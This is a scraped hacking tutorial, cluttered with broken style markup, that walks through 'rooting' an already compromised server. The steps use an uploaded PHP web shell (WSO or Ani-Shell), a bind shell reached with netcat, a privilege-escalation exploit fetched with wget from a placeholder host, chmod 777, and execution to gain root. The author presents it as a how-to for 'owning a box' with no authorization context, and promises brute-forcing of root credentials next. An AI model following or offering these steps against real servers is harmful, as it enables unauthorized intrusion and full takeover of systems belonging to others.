Requirements


Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>The following are the materials you’ll need before starting:
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>1. A PHP Shell (Preferably WSO or Ani-Shell which can be downloaded from Sourceforge or Google)
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>2. Netcat
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>3. A port forwarded router (To be able to back-connect to your shell hosted on your target)
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>4. An exploited target (or a server)
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>5. An exploit (Public or Private)

Steps


Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />

Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:1.2em !important;line-height:1.2em;margin:0;outline:0;padding:0 0 4px;text-align:justify;vertical-align:baseline;”>First step


Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>You need to be able to gain remote control of your server/target. To get started, make sure you have a PHP shell uploaded on the your target’s server. A screenshot of a shelled target can look something like below:
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Cn5xx.png
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>Obtain the IP address of your target as you would need it to perform back-connection. Once you have the IP address noted down, navigate your way to the “Network” section of the shell.

Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:1.2em !important;line-height:1.2em;margin:0;outline:0;padding:0 0 4px;text-align:justify;vertical-align:baseline;”>Second step


Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>While on your shell in the “Network” center, we’ll be using the “Bind Shell” method to establish a connection between our computer and your target.
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>A screenshot below is an example of how it looks like:
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />stEw2.png
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>Enter your opened port number in the input port box.

Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:1.2em !important;line-height:1.2em;margin:0;outline:0;padding:0 0 4px;text-align:justify;vertical-align:baseline;”>Third step


Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>Now let’s move on to o

ur computer and start setting up our connection.
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>Download Netcat and navigate to the extracted folder using Command Prompt.
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>A demonstration of how it looks like below:
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />dDART.png
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>Enter the command in this format:

Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;margin:10px 0;outline:0;padding:0;text-align:justify;vertical-align:baseline;”>

Code:
nc  -v <Target's IP Address> <Opened port number>


Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />

Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:1.2em !important;line-height:1.2em;margin:0;outline:0;padding:0 0 4px;text-align:justify;vertical-align:baseline;”>Fourth step


Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>Go back to your shell and click the connect button located beside the port input box.
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>Once that’s done, execute the command in your command prompt to establish a connection..
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>If successful, you should be able to execute Unix commands.
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>Some of the unix commands are below:
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>1. ls (lists files in current directory)
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>2. uname -a (displays the kernel version of the server)
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>3. whoami (displays the current user)
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>4. wget (remotely downloads file specified by a URL)
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>You can find more by going on here: http://fosswire.com

Ubuntu, ‘HelveAtica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:1.2em !important;line-height:1.2em;margin:0;outline:0;padding:0 0 4px;text-align:justify;vertical-align:baseline;”>Fifth step


Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>Now, we’ll be using our command prompt to download the exploit remotely using “wget”.
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>Your command should look something like this:

Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;margin:10px 0;outline:0;padding:0;text-align:justify;vertical-align:baseline;”>

Code:
wget http://site.com/exploit.zip


Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />

Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:1.2em !important;line-height:1.2em;margin:0;outline:0;padding:0 0 4px;text-align:justify;vertical-align:baseline;”>Sixth step


Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>After download the exploit zip file, use the following command to extract it.

Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;margin:10px 0;outline:0;padding:0;text-align:justify;vertical-align:baseline;”>

Code:
unzip exploit.zip


Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>Once that’s done, we’ll be giving full permissions to the file by chmodding to 777

Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;margin:10px 0;outline:0;padding:0;text-align:justify;vertical-align:baseline;”>

Code:
chmod 777 exploit


Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />

Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:1.2em !important;line-height:1.2em;margin:0;outline:0;padding:0 0 4px;text-align:justify;vertical-align:baseline;”>Last step


Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>If everything done above is succesful, you should be able to run the exploit like so:

Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;margin:10px 0;outline:0;padding:0;text-align:justify;vertical-align:baseline;”>

Code:
./exploit


Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>If successful, you should be able to be root.
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>To check, just enter “whoami” or “id”

Video Example

Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;margin:0;outline:0;padding:0;text-align:center;vertical-align:baseline;width:680px;”>

Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>That’s just the basics of how to root. Sooner or later, I’ll be able to teach you guys how to perform more actions when owning a box and that includes compiling, bypassing and enumerating.
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>Also, will be showing you a tutorial on how to root via bruteforcing the root user credentials.
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>Anyways, hope you learned from this tutorial.
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>I’m ZeroFreak, also known as ZentrixPlus from http://zentrixplus.net
Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;” />Ubuntu, ‘Helvetica Neue’, Arial, Helvetica, Verdana, sans-serif;font-size:12px;line-height:16.1875px;text-align:justify;”>Thanks for viewing this article and have a nice day.

What Do You Think on This ? Say Here